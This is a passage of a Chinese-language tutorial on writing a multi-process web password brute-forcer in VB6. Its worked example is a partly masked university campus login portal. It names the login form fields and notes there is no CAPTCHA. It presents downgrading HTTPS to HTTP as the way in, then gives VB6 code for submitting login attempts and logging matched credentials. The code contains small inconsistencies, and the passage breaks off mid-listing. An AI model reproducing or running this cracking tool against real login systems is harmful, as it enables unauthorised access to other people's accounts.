线程是处理机调度的基本单位,通过创建多线程,我们可以编写高效率的WEB暴力破解
程序。在VB6中,创建多线程相对复杂,本文介绍一个折中的办法,通过创建多个进程,同
样实现高效WEB暴力破解。
破解示例说明
以西安某大学的校园信息平台破解为例进行说明。它的地址
是: https://portal.XXXX.edu.cn/amserver/UI/Login,如图1所示:

此处只需要输入用户名和密码,没有验证码。表单中两个文本框的名称分别是userid
和password。
Post提交的地址是:https://portal.XXXX.edu.cn/amserver/LoginServletLogin,有
的朋友看到以https开头的地址就放弃暴力破解的念头了,因为站点采用了SSL加密传输。然
而简单测试后发现,使用http协议依然可以访问到对应的资源,将https替换为http,提交
登陆信息,Web Server同样会给予回应。
地址变为:http://portal.XXX.edu.cn/amserver/LoginServletLogin。以此为突破口
就可以实现暴力破解了。
程序实现的基本方法
我们需要编写两个程序:一个用于调度的主程序,一个用于测试账号的子程序。
主程序可以定时创建一个新的进程,用于破解指定的用户名和密码,示例创建一个
Thread.exe,将用户名和密码作为参数传递给 Thread.exe,例如,我们需要测试 admin:
123456,那么执行Thread.exe admin 123456即可。
同时,主程序还可以显示破解的结果。
子程序只需要测试指定的账号是否匹配,若匹配,将用户名和密码追加到当前目录下的
temp.out文件中。若账号不匹配,直接退出。
子程序编码
子程序无需用户界面,新建一个VB6工程,命名为“Thread.vbp”。
添加一个标准模块,命名为“ModXmlHttp”,写入 GetCode 函数,它通过创建 XMLhttp
对象进行 Post提交,并返回html 代码。
'第一个参数CodeBase是设置编码方式(GB2312或UTF-8)
'第二个参数URL是地址.
'第三个参数Data是参数
Public Function GetCode(CodeBase, URL, Data)
On Error GoTo HandleErr:
Dim xmlHTTP1
Set xmlHTTP1 = CreateObject("Microsoft.XMLHTTP")
xmlHTTP1.Open "get", URL, True
xmlHTTP1.setRequestHeader "Content-Type",
"application/x-www-form-urlencoded"
xmlHTTP1.send Data
While xmlHTTP1.ReadyState <> 4
DoEvents
Wend
GetCode = xmlHTTP1.ResponseBody
If CStr(GetCode) <> "" Then GetCode = BytesToBstr(GetCode, CodeBase)
Set ObjXML = Nothing
Exit Function
HandleErr:
End Function
Public Function BytesToBstr(strBody, CodeBase)
Dim ObjStream
Set ObjStream = CreateObject("Adodb.Stream")
With ObjStream
.Type = 1
.Mode = 3
.Open
.write strBody
.Position = 0
.Type = 2
.Charset = CodeBase
BytesToBstr = .ReadText
.Close
End With
Set ObjStream = Nothing
End Function
接下来创建一个标准模块“MainModule”,写入以下代码:
Option Explicit
Sub Main()
Dim UserID As String '用户名
Dim PassWord As String '密码
Dim Ret() As String
Ret = Split(Trim(Command), ",") '拆分参数
If UBound(Ret) <> 1 Then End '若不是带两个参数,直接退出 |